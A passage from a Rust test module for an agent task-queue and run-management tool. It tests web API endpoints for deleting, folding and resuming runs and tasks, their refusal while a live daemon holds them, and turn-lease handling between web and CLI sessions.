22875            assert!(blocker["destination"].is_null());
22876            assert!(
22877                blocker["next"]
22878                    .as_str()
22879                    .unwrap()
22880                    .contains("pending delivery")
22881            );
22882        }
22883        for q in &mut records {
22884            q.routed_chat = Some("owning-chat".into());
22885            questions.put(q).unwrap();
22886        }
22887        let view = fx.get(&url).await.json();
22888        for blocker in view["blockers"].as_array().unwrap() {
22889            assert_eq!(
22890                blocker["destination"],
22891                serde_json::json!(["chat", "owning-chat"])
22892            );
22893            assert_eq!(blocker["resolves_itself"], false);
22894        }
22895        // Answered routed decisions can still be awaiting task-chat application.
22896        for q in &mut records {
22897            q.status = ask::QuestionStatus::Answered;
22898            questions.put(q).unwrap();
22899        }
22900        assert!(crate::triage::pending_for(&questions, &task));
22901        let view = fx.get(&url).await.json();
22902        assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
22903        assert!(
22904            view["blockers"][0]["next"]
22905                .as_str()
22906                .unwrap()
22907                .contains("not yet applied")
22908        );
22909        for q in &records {
22910            task.mark_triage_applied(&q.id);
22911        }
22912        queue.put(&mut task).unwrap();
22913        assert!(!crate::triage::pending_for(&questions, &task));
22914        assert_eq!(fx.get(&url).await.json()["blockers"], serde_json::json!([]));
22915        assert_eq!(queue.get(&task.id).unwrap().status, TaskStatus::Held);
22916    }
22917
22918    #[test]
22919    fn task_recovery_distinguishes_dependency_restoration_and_hold_ownership() {
22920        use crate::queue::HoldSource;
22921        let mut task = Task::new(
22922            "Recovery".into(),
22923            "Inspect".into(),
22924            PathBuf::from("/repo"),
22925            Source::Human,
22926        );
22927        assert!(task_recovery(&task).is_none());
22928        task.hold_manual(Some("Operator paused".into()));
22929        assert!(task_recovery(&task).unwrap().contains("explicitly Release"));
22930        task.block(vec!["dependency".into()], Some("Decision needed".into()));
22931        let text = task_recovery(&task).unwrap();
22932        assert!(text.contains("restores held"));
22933        assert!(text.contains("clears its dependency references"));
22934        task.hold_source = Some(HoldSource::Machine);
22935        task.hold_reason = crate::disk::gate(2_667_941_888, 3_221_225_472);
22936        task.mark_disk_capacity();
22937        let view = TaskView::with_inventory(
22938            task.clone(),
22939            &crate::blockers::Inventory::new(vec![task.clone()], &[]),
22940        );
22941        let json = serde_json::to_value(view).unwrap();
22942        assert_eq!(json["block_reason"], "Decision needed");
22943        assert!(json["hold_reason"].as_str().unwrap().contains("2667941888"));
22944        let recovery = json["recovery"].as_str().unwrap();
22945        assert!(recovery.contains("not current capacity"));
22946        assert!(recovery.contains("triage rechecks"));
22947        assert_eq!(json["blockers"][0]["state"], "missing");
22948        task.blocked_from = Some(TaskStatus::Queued);
22949        assert!(!task_recovery(&task).unwrap().contains("triage rechecks"));
22950        task.blocked_from = None;
22951        assert!(task_recovery(&task).unwrap().contains("restores held"));
22952    }
22953
22954    #[tokio::test]
22955    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
22956        let fx = Fixture::start().await;
22957        let q = fx.queue();
22958        let mk = |title: &str| {
22959            Task::new(
22960                title.to_owned(),
22961                "Instruction".to_owned(),
22962                PathBuf::from("/repo"),
22963                Source::Human,
22964            )
22965        };
22966        let mut root = mk("root");
22967        root.hold_manual(Some("waiting".to_owned()));
22968        q.put(&mut root).unwrap();
22969        let mut mid = mk("mid");
22970        mid.block(vec![root.id.clone()], None);
22971        q.put(&mut mid).unwrap();
22972        let mut leaf = mk("leaf");
22973        leaf.block(vec![mid.id.clone()], None);
22974        q.put(&mut leaf).unwrap();
22975
22976        let list = fx.get("/api/queue").await.json();
22977        let find = |id: &str| {
22978            list.as_array()
22979                .unwrap()
22980                .iter()
22981                .find(|v| v["id"] == id)
22982                .unwrap()
22983                .clone()
22984        };
22985        let leaf_view = find(&leaf.id);
22986        assert_eq!(
22987            leaf_view["waits_on"],
22988            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
22989        );
22990        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
22991        assert_eq!(
22992            find(&mid.id)["waits_on"],
22993            serde_json::json!([format!("{} (held)", root.short())])
22994        );
22995        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
22996    }
22997
22998    #[tokio::test]
22999    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
23000        let fx = Fixture::start().await;
23001        let q = fx.queue();
23002
23003        // 1. A queued task with runs attached can be deleted.
23004        let mut t1 = Task::new(
23005            "Task 1".to_owned(),
23006            "Instruction 1".to_owned(),
23007            PathBuf::from("/repo"),
23008            Source::Human,
23009        );
23010        let run_id = "20260901-000000-r111";
23011        t1.runs.push(run_id.to_owned());
23012        write_run(&fx.runs(), run_id, RunStatus::Merged);
23013        q.put(&mut t1).expect("put t1");
23014
23015        // Delete by short id
23016        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
23017        assert_eq!(res.status, 204);
23018        assert!(res.body.is_empty(), "204 No Content has no body");
23019        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
23020        assert!(
23021            fx.runs().join(run_id).exists(),
23022            "run directory must not be deleted when its task is deleted"
23023        );
23024
23025        // 2. A task a live daemon is running is refused with 409.
23026        let mut t2 = Task::new(
23027            "Task 2".to_owned(),
23028            "Instruction 2".to_owned(),
23029            PathBuf::from("/repo"),
23030            Source::Human,
23031        );
23032        t2.status = TaskStatus::Running;
23033        q.put(&mut t2).expect("put t2");
23034        let mut beat = crate::daemon::Status::new();
23035        beat.current = vec![crate::daemon::Current {
23036            worker: None,
23037            task: t2.id.clone(),
23038            run: "20260901-000000-r222".to_owned(),
23039        }];
23040        beat.updated_at = jiff::Timestamp::now();
23041        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23042            .expect("publish a heartbeat");
23043        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
23044        assert_eq!(res.status, 409);
23045        assert!(
23046            res.json()["error"]
23047                .as_str()
23048                .unwrap()
23049                .contains("live daemon")
23050        );
23051        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
23052
23053        // 3. The same `running` status and an orphaned lock, with no daemon
23054        // behind either, is a leftover and deletable. Before this the phone
23055        // refused it for good: the status never changes on its own and
23056        // nothing drops a lock whose process is gone.
23057        // The daemon is killed: the file stays, the heartbeat stops.
23058        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
23059        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23060            .expect("leave a stale heartbeat");
23061        let mut t3 = Task::new(
23062            "Task 3".to_owned(),
23063            "Instruction 3".to_owned(),
23064            PathBuf::from("/repo"),
23065            Source::Human,
23066        );
23067        t3.status = TaskStatus::Running;
23068        q.put(&mut t3).expect("put t3");
23069        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
23070        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
23071        assert_eq!(res.status, 204);
23072        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
23073        assert!(
23074            q.claim(&t3.id).is_ok(),
23075            "the stale lock went with it, so the id is claimable again"
23076        );
23077
23078        // 4. Missing id returns 404
23079        let res = fx.delete("/api/queue/nonexistent").await;
23080        assert_eq!(res.status, 404);
23081    }
23082
23083    #[tokio::test]
23084    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
23085        let fx = Fixture::start().await;
23086        let runs = fx.runs();
23087
23088        // 1. Finished and folded run can be deleted along with artifacts
23089        let run_id = "20260901-000000-fold";
23090        let mut state = RunState::new(
23091            PathBuf::from("/repo"),
23092            "main".to_owned(),
23093            "abc".to_owned(),
23094            "instruction".to_owned(),
23095            Config::default(),
23096        );
23097        state.id = run_id.to_owned();
23098        state.status = RunStatus::Merged;
23099        state.candidates.push(crate::run::Candidate {
23100            index: 0,
23101            label: 'A',
23102            agent: "a".to_owned(),
23103            branch: "b".to_owned(),
23104            worktree: PathBuf::from("/w"),
23105            summary: String::new(),
23106            stat: String::new(),
23107            files: 1,
23108            commits: 1,
23109            empty: false,
23110            failed: None,
23111            verified_noop: None,
23112            duration_ms: 0,
23113            folded: true,
23114        });
23115        let dir = runs.join(run_id);
23116        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
23117        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
23118            .expect("write artifact");
23119        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
23120            .expect("write run.json");
23121
23122        // Delete by short id
23123        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
23124        assert_eq!(res.status, 204);
23125        assert!(res.body.is_empty(), "204 has no body");
23126        assert!(!dir.exists(), "run directory and artifacts must be deleted");
23127
23128        // 2. A run a live daemon is working on is refused with 409. The
23129        // heartbeat is what makes it refusable: an unfinished run with no
23130        // daemon behind it is a leftover from a killed process, and case 1
23131        // above would otherwise be impossible to tell apart from this one.
23132        let run_running = "20260901-000000-rung";
23133        write_run(&runs, run_running, RunStatus::Prep);
23134        let mut beat = crate::daemon::Status::new();
23135        beat.current = vec![crate::daemon::Current {
23136            worker: None,
23137            task: "20260901-000000-task".to_owned(),
23138            run: run_running.to_owned(),
23139        }];
23140        beat.updated_at = jiff::Timestamp::now();
23141        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23142            .expect("publish a heartbeat");
23143        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
23144        assert_eq!(res.status, 409);
23145        assert!(
23146            res.json()["error"]
23147                .as_str()
23148                .unwrap()
23149                .contains("live daemon"),
23150            "the refusal must say who is holding it"
23151        );
23152        assert!(
23153            runs.join(run_running).exists(),
23154            "a run in flight keeps its directory"
23155        );
23156
23157        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
23158        let run_unfolded = "20260901-000000-unfd";
23159        let mut state2 = RunState::new(
23160            PathBuf::from("/repo"),
23161            "main".to_owned(),
23162            "abc".to_owned(),
23163            "instruction".to_owned(),
23164            Config::default(),
23165        );
23166        state2.id = run_unfolded.to_owned();
23167        state2.status = RunStatus::Ready;
23168        state2.candidates.push(crate::run::Candidate {
23169            index: 0,
23170            label: 'A',
23171            agent: "a".to_owned(),
23172            branch: "b".to_owned(),
23173            worktree: PathBuf::from("/w"),
23174            summary: String::new(),
23175            stat: String::new(),
23176            files: 1,
23177            commits: 1,
23178            empty: false,
23179            failed: None,
23180            verified_noop: None,
23181            duration_ms: 0,
23182            folded: false,
23183        });
23184        let dir2 = runs.join(run_unfolded);
23185        std::fs::create_dir_all(&dir2).expect("create dir2");
23186        std::fs::write(
23187            dir2.join("run.json"),
23188            serde_json::to_string(&state2).unwrap(),
23189        )
23190        .expect("write run.json");
23191
23192        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
23193        assert_eq!(res.status, 409);
23194        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
23195        assert!(dir2.exists(), "unfolded run directory is kept");
23196
23197        // 4. Missing id returns 404
23198        let res = fx.delete("/api/runs/nonexistent").await;
23199        assert_eq!(res.status, 404);
23200    }
23201
23202    /// The queue tiles on the Stats tab must render even on a home with no
23203    /// runs at all: queue state is not derived from run history, so hiding
23204    /// the whole dashboard body behind "no runs yet" would drop the one
23205    /// thing this tab promises unconditionally (queued/running/held/done).
23206    /// A DOM-level test would need a browser this suite does not have, so
23207    /// this pins the same invariant textually: `renderStatsQueue` is called
23208    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
23209    /// block that gates the run-derived panels.
23210    #[test]
23211    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
23212        let start = APP_JS
23213            .find("function renderStats() {")
23214            .expect("renderStats");
23215        let end = start
23216            + APP_JS[start..]
23217                .find("function statsTile(")
23218                .expect("the next top-level function");
23219        let body = &APP_JS[start..end];
23220
23221        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
23222        let gate_end = gate_start
23223            + body[gate_start..]
23224                .find("}\n  renderStatsQueue")
23225                .expect("the gate's own closing brace, right before the unconditional call");
23226        let gated = &body[gate_start..gate_end];
23227
23228        assert_eq!(
23229            body.matches("renderStatsQueue(").count(),
23230            1,
23231            "renderStats must call renderStatsQueue exactly once: {body}"
23232        );
23233        assert!(
23234            !gated.contains("renderStatsQueue"),
23235            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
23236             run-derived panels on an empty run history - the queue panel has to render \
23237             regardless: {gated}"
23238        );
23239    }
23240
23241    #[test]
23242    fn web_ui_delete_contract_in_front_end() {
23243        // 1. API block has both delete endpoints
23244        assert!(APP_JS.contains("deleteRun:"));
23245        assert!(APP_JS.contains("deleteTask:"));
23246
23247        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
23248        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
23249            ..APP_JS.find("function renderRuns").unwrap()];
23250        assert!(!run_cards_slice.to_lowercase().contains("delete"));
23251
23252        // 3. Run detail has delete entry and reasons
23253        assert!(APP_JS.contains("renderRunDelete"));
23254        assert!(APP_JS.contains("runDeleteReason"));
23255        assert!(APP_JS.contains("magi fold"));
23256        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
23257
23258        // 4. Two-step delete arming and focus on Cancel
23259        assert!(APP_JS.contains("cancel.focus"));
23260        assert!(APP_JS.contains("armedRunDelete"));
23261        assert!(APP_JS.contains("renderTaskDeleteBox"));
23262        assert!(APP_JS.contains("armed${cap(key)}"));
23263
23264        // 5. Running task has disabled delete
23265        assert!(APP_JS.contains("disabled: status === \"running\""));
23266    }
23267
23268    /// Every element a run card's updater reaches for must be in the `refs`
23269    /// the builder handed it.
23270    ///
23271    /// `createRunCard` builds its elements, appends them to the card, and then
23272    /// lists them again in `row.refs`. That second list is the one the updater
23273    /// uses, and nothing connects the two - an element can be built, appended
23274    /// and rendered, and still be missing from `refs`. `superseded` was, for
23275    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
23276    /// exception took `syncList` with it, and the deck showed
23277    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
23278    /// line is computed before the cards, which is why the failure looked like
23279    /// a server that had lost its runs rather than a front end that had
23280    /// stopped rendering them.
23281    ///
23282    /// A `cargo test` cannot execute the front end, so this reads the two
23283    /// halves out of the source and compares them as sets. It is not a check
23284    /// on the wording of either list: adding an element, renaming one, or
23285    /// reordering them all keeps this passing, and only using one the builder
23286    /// never published fails it.
23287    #[test]
23288    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
23289        let build = APP_JS
23290            .find("function createRunCard")
23291            .expect("createRunCard exists");
23292        let update = APP_JS
23293            .find("function updateRunCard")
23294            .expect("updateRunCard exists");
23295        let end = APP_JS
23296            .find("function renderRuns")
23297            .expect("renderRuns exists");
23298
23299        // The builder's published set: the object literal assigned to `refs`.
23300        let builder = &APP_JS[build..update];
23301        let open = builder.find("refs = {").expect("createRunCard sets refs");
23302        let literal = &builder[open + "refs = {".len()..];
23303        let close = literal.find('}').expect("the refs literal is closed");
23304        let published: HashSet<&str> = literal[..close]
23305            .split(',')
23306            // `name` and `name: value` both bind `name`.
23307            .filter_map(|entry| entry.split(':').next())
23308            .map(str::trim)
23309            .filter(|name| !name.is_empty())
23310            .collect();
23311        assert!(
23312            published.len() > 5,
23313            "the refs literal did not parse into names: {published:?}"
23314        );
23315
23316        // What the updaters reach for: every `r.<name>`, where `r` is the
23317        // `const r = row.refs` alias both functions open with.
23318        let mut used: Vec<&str> = Vec::new();
23319        let updaters = &APP_JS[update..end];
23320        for (at, _) in updaters.match_indices("r.") {
23321            // `r` must be the whole identifier, not the tail of another one
23322            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
23323            let before = updaters[..at].chars().next_back();
23324            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
23325                continue;
23326            }
23327            let rest = &updaters[at + 2..];
23328            let len = rest
23329                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
23330                .unwrap_or(rest.len());
23331            if len > 0 {
23332                used.push(&rest[..len]);
23333            }
23334        }
23335        assert!(
23336            used.len() > 5,
23337            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
23338        );
23339
23340        let missing: Vec<&str> = used
23341            .iter()
23342            .copied()
23343            .filter(|name| !published.contains(name))
23344            .collect();
23345        assert!(
23346            missing.is_empty(),
23347            "a run card's updater reaches for {missing:?}, which `createRunCard` \
23348             never put in `refs` - every card will throw and the list will \
23349             render empty under a count line that says otherwise. Published: \
23350             {published:?}"
23351        );
23352    }
23353
23354    #[tokio::test]
23355    async fn folding_from_the_phone_reports_what_it_removed() {
23356        let fx = Fixture::start().await;
23357        let runs = fx.runs();
23358
23359        // A run with no candidates has nothing to fold, which is a 200 with an
23360        // honest count rather than an error: the operator asked for the trees
23361        // to be gone and they are.
23362        let id = "20260901-000000-fold";
23363        write_run(&runs, id, RunStatus::Stalled);
23364        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
23365        assert_eq!(res.status, 200);
23366        assert_eq!(res.json()["removed_count"], 0);
23367        assert_eq!(res.json()["run"], id);
23368        assert!(
23369            runs.join(id).exists(),
23370            "a fold keeps the run's record; only the worktrees go"
23371        );
23372    }
23373
23374    #[tokio::test]
23375    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
23376        let fx = Fixture::start().await;
23377        let runs = fx.runs();
23378        let wt = fx.home.path().join("wt").join("magi").join("dead");
23379        let id = "20260901-000000-dead";
23380        std::fs::create_dir_all(runs.join(id)).expect("run dir");
23381        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
23382        std::fs::create_dir_all(&wt).expect("worktree dir");
23383
23384        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
23385        assert_eq!(res.status, 200, "{}", res.body);
23386        assert!(
23387            res.json()["removed_count"].as_u64().unwrap() > 0,
23388            "the worktree this build could not read a state for still went"
23389        );
23390        assert!(
23391            !runs.join(id).exists(),
23392            "an unreadable run has no candidate list to fold selectively, so \
23393             the whole record goes - same as `magi fold` on the CLI"
23394        );
23395    }
23396
23397    #[tokio::test]
23398    async fn deleting_an_unreadable_run_removes_it_wholesale() {
23399        let fx = Fixture::start().await;
23400        let runs = fx.runs();
23401        let wt = fx.home.path().join("wt").join("magi").join("gone");
23402        let id = "20260901-000000-gone";
23403        std::fs::create_dir_all(runs.join(id)).expect("run dir");
23404        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
23405        std::fs::create_dir_all(&wt).expect("worktree dir");
23406
23407        let res = fx.delete(&format!("/api/runs/{id}")).await;
23408        assert_eq!(res.status, 204, "{}", res.body);
23409        assert!(!runs.join(id).exists(), "the broken record is gone");
23410        assert!(!wt.exists(), "its worktree is gone too");
23411    }
23412
23413    #[tokio::test]
23414    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
23415        let fx = Fixture::start().await;
23416        let runs = fx.runs();
23417        let id = "20260901-000000-live";
23418        write_run(&runs, id, RunStatus::Implementing);
23419
23420        let mut beat = crate::daemon::Status::new();
23421        beat.current = vec![crate::daemon::Current {
23422            worker: None,
23423            task: "20260901-000000-task".to_owned(),
23424            run: id.to_owned(),
23425        }];
23426        beat.updated_at = jiff::Timestamp::now();
23427        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23428            .expect("publish a heartbeat");
23429
23430        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
23431        assert_eq!(res.status, 409);
23432        assert!(
23433            res.json()["error"]
23434                .as_str()
23435                .unwrap()
23436                .contains("live daemon"),
23437            "folding under a running agent would pull its worktree away"
23438        );
23439    }
23440
23441    #[tokio::test]
23442    async fn fold_merged_requires_a_pr_url() {
23443        let fx = Fixture::start().await;
23444        let runs = fx.runs();
23445        let id = "20260901-000000-nourl";
23446        write_run(&runs, id, RunStatus::Blocked);
23447
23448        let res = fx
23449            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
23450            .await;
23451        assert_eq!(res.status, 400, "{}", res.body);
23452
23453        let blank = fx
23454            .post(
23455                &format!("/api/runs/{id}/fold-merged"),
23456                Some(r#"{"pr_url":"   "}"#),
23457            )
23458            .await;
23459        assert_eq!(blank.status, 400, "{}", blank.body);
23460    }
23461
23462    #[tokio::test]
23463    async fn fold_merged_is_404_for_an_unknown_run() {
23464        let fx = Fixture::start().await;
23465        let res = fx
23466            .post(
23467                "/api/runs/nosuchrun/fold-merged",
23468                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
23469            )
23470            .await;
23471        assert_eq!(res.status, 404, "{}", res.body);
23472    }
23473
23474    #[tokio::test]
23475    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
23476        let fx = Fixture::start().await;
23477        let runs = fx.runs();
23478        let id = "20260901-000000-livemerge";
23479        write_run(&runs, id, RunStatus::Blocked);
23480
23481        let mut beat = crate::daemon::Status::new();
23482        beat.current = vec![crate::daemon::Current {
23483            worker: None,
23484            task: "20260901-000000-task".to_owned(),
23485            run: id.to_owned(),
23486        }];
23487        beat.updated_at = jiff::Timestamp::now();
23488        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23489            .expect("publish a heartbeat");
23490
23491        let res = fx
23492            .post(
23493                &format!("/api/runs/{id}/fold-merged"),
23494                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
23495            )
23496            .await;
23497        assert_eq!(res.status, 409, "{}", res.body);
23498        assert!(
23499            res.json()["error"]
23500                .as_str()
23501                .unwrap()
23502                .contains("live daemon"),
23503            "correcting a run's merge underneath a running agent would race \
23504             whatever it is doing to the same `status`/`merge` fields"
23505        );
23506    }
23507
23508    /// A pull request `gh` cannot even ask about (no such remote, no such
23509    /// repository) must never be recorded as a merge on a guess - the same
23510    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
23511    /// command line, reached here through the phone route instead.
23512    #[tokio::test]
23513    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
23514        let fx = Fixture::start().await;
23515        let runs = fx.runs();
23516        let id = "20260901-000000-unconfirmed";
23517        write_run(&runs, id, RunStatus::Blocked);
23518
23519        let res = fx
23520            .post(
23521                &format!("/api/runs/{id}/fold-merged"),
23522                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
23523            )
23524            .await;
23525        assert_eq!(res.status, 400, "{}", res.body);
23526        assert_eq!(
23527            read_run(&runs, id).unwrap().status,
23528            RunStatus::Blocked,
23529            "a pull request that could not be confirmed merged must leave \
23530             the run exactly where it was"
23531        );
23532    }
23533
23534    #[tokio::test]
23535    async fn terminal_runs_cannot_be_resumed() {
23536        let fx = Fixture::start().await;
23537        let runs = fx.runs();
23538
23539        for (status, word) in [
23540            (RunStatus::Merged, "merged"),
23541            (RunStatus::Ready, "ready"),
23542            (RunStatus::Failed, "failed"),
23543        ] {
23544            let id = format!("20260901-000000-{}", &word[..4]);
23545            write_run(&runs, &id, status);
23546            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
23547            assert_eq!(res.status, 409, "{word} must not be resumable");
23548        }
23549    }
23550
23551    #[tokio::test]
23552    async fn resume_is_refused_while_the_loop_is_running() {
23553        let fx = Fixture::start().await;
23554        let runs = fx.runs();
23555        let stalled = "20260901-000000-stal";
23556        write_run(&runs, stalled, RunStatus::Stalled);
23557
23558        // The loop is busy with a *different* run, and that is still a
23559        // refusal: a manual resume must never race whatever the loop itself
23560        // is already driving, whether that is one run or several.
23561        let mut beat = crate::daemon::Status::new();
23562        beat.current = vec![crate::daemon::Current {
23563            worker: None,
23564            task: "20260901-000000-task".to_owned(),
23565            run: "20260901-000000-othr".to_owned(),
23566        }];
23567        beat.updated_at = jiff::Timestamp::now();
23568        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23569            .expect("publish a heartbeat");
23570
23571        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
23572        assert_eq!(res.status, 409);
23573        let err = res.json()["error"].as_str().unwrap().to_owned();
23574        assert!(err.contains("othr"), "it names what the loop is on: {err}");
23575        assert!(err.contains("stop it first"), "{err}");
23576    }
23577
23578    #[test]
23579    fn a_run_cannot_be_resumed_twice_at_once() {
23580        let home = TempDir::new().expect("temp home");
23581        let ui = Ui::new(
23582            Queue::at(home.path().join("queue")),
23583            Questions::at(home.path().join("questions")),
23584            Talks::at(home.path().join("talks")),
23585            home.path().join("runs"),
23586            home.path().to_path_buf(),
23587            PathBuf::from("/repo"),
23588        )
23589        .with_worktrees_root(home.path().join("wt"));
23590        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
23591        let again = ui.begin_resume("20260901-000000-once");
23592        assert!(again.is_err(), "a second tap must not start a second graph");
23593        drop(first);
23594        assert!(
23595            ui.begin_resume("20260901-000000-once").is_ok(),
23596            "and the claim is released when the attempt ends"
23597        );
23598    }
23599
23600    #[test]
23601    fn talk_thinking_tracks_only_its_held_turn_claim() {
23602        let home = TempDir::new().expect("temp home");
23603        let ui = Ui::new(
23604            Queue::at(home.path().join("queue")),
23605            Questions::at(home.path().join("questions")),
23606            Talks::at(home.path().join("talks")),
23607            home.path().join("runs"),
23608            home.path().to_path_buf(),
23609            PathBuf::from("/repo"),
23610        )
23611        .with_worktrees_root(home.path().join("wt"));
23612        let id = "20260901-000000-once";
23613
23614        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
23615        let turn = ui.begin_talk_turn(id).expect("claim turn");
23616        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
23617        assert!(
23618            !ui.is_thinking("20260901-000000-other"),
23619            "one talk's turn does not make another talk busy"
23620        );
23621        drop(turn);
23622        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
23623    }
23624
23625    #[test]
23626    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
23627        let home = TempDir::new().expect("temp home");
23628        let talks = Talks::at(home.path().join("talks"));
23629        let ui = Ui::new(
23630            Queue::at(home.path().join("queue")),
23631            Questions::at(home.path().join("questions")),
23632            talks.clone(),
23633            home.path().join("runs"),
23634            home.path().to_path_buf(),
23635            PathBuf::from("/repo"),
23636        )
23637        .with_worktrees_root(home.path().join("wt"));
23638        let id = "20260901-000000-cross";
23639
23640        let other = Talks::at(home.path().join("talks"))
23641            .claim_turn(id)
23642            .expect("claim")
23643            .expect("the other process wins");
23644        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
23645        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
23646        assert!(
23647            matches!(
23648                ui.begin_talk_turn_unless_pending(id).expect("start"),
23649                TalkTurnStart::Foreign
23650            ),
23651            "a foreign holder is refused, not queued behind"
23652        );
23653        assert!(
23654            !ui.talk_turns.lock().unwrap().live.contains(id),
23655            "a refused claim leaves no in-process entry behind"
23656        );
23657        drop(other);
23658        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
23659        assert!(talks.turn_held(id), "the web turn holds the lease");
23660        drop(turn);
23661        assert!(
23662            !talks.turn_held(id),
23663            "dropping the guard releases the lease"
23664        );
23665    }
23666
23667    fn consult_question(ui: &Ui) -> Question {
23668        let mut q = Question::new(
23669            "20260901-000000-consult".to_owned(),
23670            "implement".to_owned(),
23671            "impl-A".to_owned(),
23672            "Which backend?".to_owned(),
23673            String::new(),
23674            vec!["SQLite".to_owned(), "Redis".to_owned()],
23675        );
23676        ui.questions.put(&mut q).expect("question");
23677        q
23678    }
23679
23680    fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
23681        (
23682            std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
23683            std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
23684        )
23685    }
23686
23687    #[tokio::test]
23688    async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
23689        let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
23690        let q = consult_question(&ui);
23691        let talk = ui.talks.get(&id).expect("talk");
23692        let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
23693        let before = consult_snapshot(&ui, &q, &id);
23694        let cli_talks = Talks::at(ui.home.join("talks"));
23695        assert_eq!(
23696            crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
23697                .await
23698                .expect("CLI starter"),
23699            crate::consult::Started::Busy
23700        );
23701        assert_eq!(consult_snapshot(&ui, &q, &id), before);
23702        assert!(ui.is_thinking(&id));
23703        drop(guard);
23704        assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
23705    }
23706
23707    #[tokio::test]
23708    async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
23709        let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
23710        let q = consult_question(&ui);
23711        let talk = ui.talks.get(&id).expect("talk");
23712        let started = tmp.path().join("started");
23713        let release = tmp.path().join("release");
23714        let script = tmp.path().join("consult-agent.sh");
23715        std::fs::write(
23716            &script,
23717            "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n  i=$((i + 1))\n  [ \"$i\" -lt 3000 ] || exit 7\n  sleep 0.01\ndone\nprintf ok\n",
23718        )
23719        .expect("script");
23720        let mut cfg = stub_config();
23721        cfg.agents[0].id = "mock".to_owned();
23722        cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
23723        cfg.agents[0].env = std::collections::BTreeMap::from([
23724            ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
23725            ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
23726        ]);
23727        let questions = ui.questions.clone();
23728        let cli_talks = Talks::at(ui.home.join("talks"));
23729        let cli_q = q.clone();
23730        let turn = tokio::spawn(async move {
23731            crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
23732        });
23733        let ready = tokio::time::timeout(Duration::from_secs(30), async {
23734            while !started.exists() {
